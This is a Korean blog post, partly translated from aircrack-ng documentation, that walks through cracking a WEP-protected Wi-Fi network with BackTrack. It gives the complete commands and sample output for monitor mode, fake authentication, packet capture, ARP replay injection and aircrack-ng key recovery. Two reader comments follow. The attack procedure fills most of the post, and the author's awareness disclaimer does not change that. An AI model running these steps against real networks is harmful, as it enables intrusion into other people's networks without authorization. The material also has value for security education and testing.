지난  무선랜 해킹/보안 라이브 CD BackTrack 3 Beta USB 설치기에 이어 이번에는 LIVE CD인 BACKTRACK을 이용하여 무선랜을 크래킹해보자.

사용자 삽입 이미지

  AP의 WEB Key를 크래킹 하기 위해서는 수많은 양의 IVs(Initialization Vectors)를 모아야 한다. 평상시의 경우에는 이러한 IVs들이 빨리 생성되지 않는다. 만약 인내심이 많은 사람이라면 단지 네트워크의 트래픽을 저장하는 것 만으로도 WEB Key를 크래킹하기 위한 충분한 양의 IVs를 모을 수 있다. 하지만 이 글을 읽고 있는 대부분의 사람들은 이것을 참지 못할 것이기 때문에 Injectino이라고 부르는 기술을 사용할 것이다. Injection 기법은 AP에 보낸 패킷을 계속해서 빠르게 재전송하기 때문에 많은 수의 IVs를 짧은 시간내에 얻을 수 있다.


WEB Key를 크래킹 하기 위한 기본적은 단계는 다음과 같다.
  1. 무선랜을 모니터(monitor) 모드로 변경하기.
  2. aireplay-ng를 이용하여 AP에 가짜 인증(authentication) 하기.
  3. BSSID필터를 이용해 특정 AP 채널의 IVs 값들을 수집하기.
  4. aireply-ng의 ARP request replay 모드를 이용하여 패킷 주입하기.
  5. aircrack-ng를 이용하여 수집된 IVs 패킷 크래킹하기.

1단계 - 무선랜을 모니터(monitor) 모드로 변경하기

  먼저 랜카드를 '모니터' 모드로 변경하기 위해 이 단계를 실시한다. 모니터 모드란 공기 중에 흐르고 있는 모든 무선 패킷들을 랜카드가 수집(listen)할 수 있는 상태를 말한다. 보통의 경우에 랜카드는 모든 패킷기 아닌 자기 자신에게 오는 패킷만 받아들인다. 즉 모니터 모드는 패킷을 주입할 수 있도록 해 주는 단계이다.(참고: 아래의 과정은 Atheros 카드가 아닐 경우 다를 수 있다.)

먼저 ath0을 정지한다.

airmon-ng stop ath0

다음과 같이 나타난다.
Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

athX 인터페이스가 없는지 재확인 하기 위해 "iwconfig" 명령어를 이용한다.
 lo        no wireless extensions.
 
 eth0      no wireless extensions.
 
 wifi0     no wireless extensions.

만약 다른 종류의 athX가 남아 있다면 정지시키기 바란다.

이제, 랜카드를 채널 9에 모니터 모드로 변경시키기 위해 다음과 같이 입력한다.
airmon-ng start wifi0 9
Note : 이 명령에서는 우리가 사용하는 ath0대신 wifi0을 사용했는데 이는 madwife-ng 드라이버가 이미 사용중이기 때문이다.

다음과 같은 화면이 출력될 것이다.
Interface             Chipset             Driver
 wifi0           Atheros         madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0)
(monitor mode enabled)

이제 ath0이 모니터 모드로 변경되었다. iwconfig 명령을 통해 확인해 볼 수 있다.
  lo            no wireless extensions.
 wifi0     no wireless extensions.

eth0 no wireless extensions.

ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

2단계 - aireplay-ng를 이용하여 AP에 가짜 인증(authentication) 하기.

  이 단계에서는 생성된 IVs를 수집한다. 새로운 콘솔(console)을 열어서 다음과 같이 입력한다.

airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0

  • -c는 무선 네트워크의 채널을 의미한다. 이는 사용자의 환경에 따라 적절히 변경되어야 한다.
  • --bssid는 공격하고자 하는 AP의 MAC 주소를 의미한다.
  • -w는 IVs들이 담길 파일 이름을 지정한다.
  • ath0은 인터페이스 이름이다.
  그런데 이 명령을 수행하기 전에 먼저 bssid를 알아내야 한다. bssid 즉 공격하고자 하는 AP의 MAC주소는 다음과 같은 명령을 통해 확인할 수 있다. 또한 이 명령은 Injectino이 제대로 작동하는지 테스트 하는 명령이기도 하다.

aireplay-ng -9 ath0

시스템에 다음과 같은 화면이 출력된다.
 16:29:41  ath0 channel: 9
 16:29:41  Trying broadcast probe requests...
 16:29:41  Injection is working!
 16:29:42  Found 5 APs
 
 16:29:42  Trying directed probe requests...
 16:29:42  00:09:5B:5C:CD:2A - channel: 11 - 'NETGEAR'
 16:29:48  0/30: 0%
 16:29:48  00:14:BF:A8:65:AC - channel: 9 - 'title'
 16:29:54  0/30: 0%
 16:29:54  00:14:6C:7E:40:80 - channel: 9 - 'teddy'
 16:29:55  Ping (min/avg/max): 2.763ms/4.190ms/8.159ms
 16:29:55  27/30: 90%
 16:29:55  00:C0:49:E2:C4:39 - channel: 11 - 'mossy'
 16:30:01  0/30: 0%
 16:30:01  00:0F:66:C3:14:4E - channel: 9 - 'tupper'
 16:30:07  0/30: 0%

위의 화면에서 볼 수 있듯이 BSSID 들이 AP별로 출력되고 있다.

다시 2단계의 명령으로 돌아가 보자. Injection이 발생하면 다음과 같은 화면을 볼 수 있다.
CH  9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25
                                                                                                             
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                           
 00:14:6C:7E:40:80   42 100     5240   178307  338   9  54  WEP  WEP         teddy                          
                                                                                                           
 BSSID              STATION            PWR  Lost  Packets  Probes                                            
                                                                                                           
 00:14:6C:7E:40:80  00:0F:B5:88:AC:82   42     0   183782


3단계 - BSSID필터를 이용해 특정 AP 채널의 IVs 값들을 수집하기.

AP가 패킷을 받아들이기 위해서는 반드시 대상 MAC 주소와 연결이 이루어져야 한다. 만약 대상 MAC주소와 연결이 이루어져있지 않은 상태에서 패킷을 보낸다면 AP는 패킷을 무시하고 대신 DeAuthentication 패킷을 반출한다. 이런 경우에는 AP가 주입된(Injected) 모든 패킷을 무시하므로 새로운 IVs가 발생되지 않는다.

  Injectino이 실패하는 가장 큰 이유 중 하나가 바로 AP와의 연결(Association)이 이루어지지 않았기 때문이다. 따라서 반드시 다음을 사항을 잊지마라 : Injection을 하고자 하는 AP의 주소는 가짜 인증(fake authentication)이나 벌써 연결된 클라이언트를 이용하여 반드시 연결되어야 한다.

AP와 연결하기 위해 다음과 같은 가짜 인증 명령을 내보낸다.

aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

  • -1은 fake authentication을 의미한다.
  • 0은 초당 재연결 시간을 의미한다.
  • -e teddy는 무선 네트워크 이름을 의미한다.
  • -a 00:14:6C:7E:40:80은 AP의 MAC 주소를 의미한다.
  • -h 00:0F:B5:88:AC:82는 자신의 랜카드 MAC 주소를 의미한다.
  • ath0은 무선 네트워크 interface 이름이다.

가짜 인증이 성공하면 다음과 같이 출력된다.
18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)


4단계 - aireply-ng의 ARP request replay 모드를 이용하여 패킷 주입하기.

  이 단계는 aireplay-ng를 이용하여 ARP request를 네트워크에 재주입시키는 과정이다. ARP request를 재주입하는 이유는 AP는 보통 ARP request를 받으면 새로운 IV를 생성하여 반출하기 때문이다. 이를 통해 우리는 짧은 시간내에 많은 양의 IVs를 수집할 수 있게 된다.

새로운 콘솔을 실행한 후 다음 명령을 입력한다.
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

ARP request가 주입되기 시작하면 다음과 같은 화면이 출력된다.
 Saving ARP requests in replay_arp-0321-191525.cap
 You should also start airodump-ng to capture replies.
 Read 629399 packets (got 316283 ARP requests), sent 210955 packets...

처음에는 Read의 packets 수만 올라가고 ARP requests를 받는 데 시간이 좀 걸릴 수 있다. 일정시간이 지나고 나면 위의 내용처럼 숫자들이 올라가기 시작한다.

airodump-ng가 실행되고 있는 콘솔을 보면 Injecting이 잘 이루어지고 있는지 확인할 수 있다. 데이터 패킷의 수가 급격하게 증가하고 있을 것이다.


5단계 - aircrack-ng를 이용하여 수집된 IVs 패킷 크래킹하기.

이제 남은 것은 수집된 IVs 정보를 이용해 WEP 키를 추출하는 것이다. 새로운 콘솔을 실행한 뒤 아래와 같이 입력해보자.

aircrack-ng -z -b 00:14:6C:7E:40:80 output*.cap
  • -z는 PTW WEP-cracking 방법을 이용한다는 뜻이다.
  • -b 00:14:6C:7E:40:80는 공격의 대상이 되는 AP의 MAC 주소이다.
  • output*.cap는 output으로 시작하면서 확장자가 cap인 모든 파일을 의미한다.

지금까지의 모든 과정이 순조롭게 이루어졌다면 WEP 키는 금방 찾아낼 수 있다. 이를 위해서는 대략 64비트일 때는 250,000개의 IVs, 128비트일 때는 1,500,000개의 IVs가 필요하다. PTW 공격방법을 사용한다면 20,000 패킷(64비트)에서 40,000~85000 패킷(128비트)이 필요하다. 이는 매우 대략적이기 때문에 상황에 따라 필요한 패킷이나 IVs는 달라질 수 있다.

WEP 키를 얻는 데 성공했다면 다음과 같은 화면이 나타날 것이다.
Aircrack-ng 0.9
 
 
                              [00:03:06] Tested 674449 keys (got 96610 IVs)
 
 KB    depth   byte(vote)
  0    0/  9   12(  15) F9(  15) 47(  12) F7(  12) FE(  12) 1B(   5) 77(   5) A5(   3) F6(   3) 03(   0)
  1    0/  8   34(  61) E8(  27) E0(  24) 06(  18) 3B(  16) 4E(  15) E1(  15) 2D(  13) 89(  12) E4(  12)
  2    0/  2   56(  87) A6(  63) 15(  17) 02(  15) 6B(  15) E0(  15) AB(  13) 0E(  10) 17(  10) 27(  10)
  3    1/  5   78(  43) 1A(  20) 9B(  20) 4B(  17) 4A(  16) 2B(  15) 4D(  15) 58(  15) 6A(  15) 7C(  15)
 
                       KEY FOUND! [ 12:34:56:78:90 ]
      Probability: 100%

참고사항
  • 위의 문서는 아래 참고 문서의 일부분을 번역하여 옮긴 것이며 필자가 직접 작성한 부분도 있습니다.
  • 위의 문서는 WEP와 관련하여 무선 네트워크에 대한 보안 위협을 인식하기 위함이지 다른 네트워크를 침투하여 타인에게 피해를 입히기 위함이 아닙니다.
  • 위의 문서 내용으로 인해 발생한 모든 사고 및 손해 등에 대해서 필자는 절대 책임지지 않습니다.

* Reference
  1. http://www.aircrack-ng.org/doku.php?id=simple_wep_crack
  2. http://www.aircrack-ng.org/doku.php?id=injection_test

댓글을 달아 주세요

  1. 금성무 2009/03/30 12:47

    그런데 만약 공유기에 MAC 어드레스 인증이 걸려 있는 경우는 안되나요~?

  2. red 2009/07/07 17:38

    아 airmon은 어디서 구하나요...에어크랙에서 파일받아서 압축 풀면
    airmon이 있긴한데 그건 exe가 아니라 무확장자이던데..

    컴파일해서 써야 하는건가요??아..여기서부터 막히니깐 답답하네요..
    airmon 구동하는것좀 알려주세요

비밀글 (Serect)
댓글 달기 (Submit)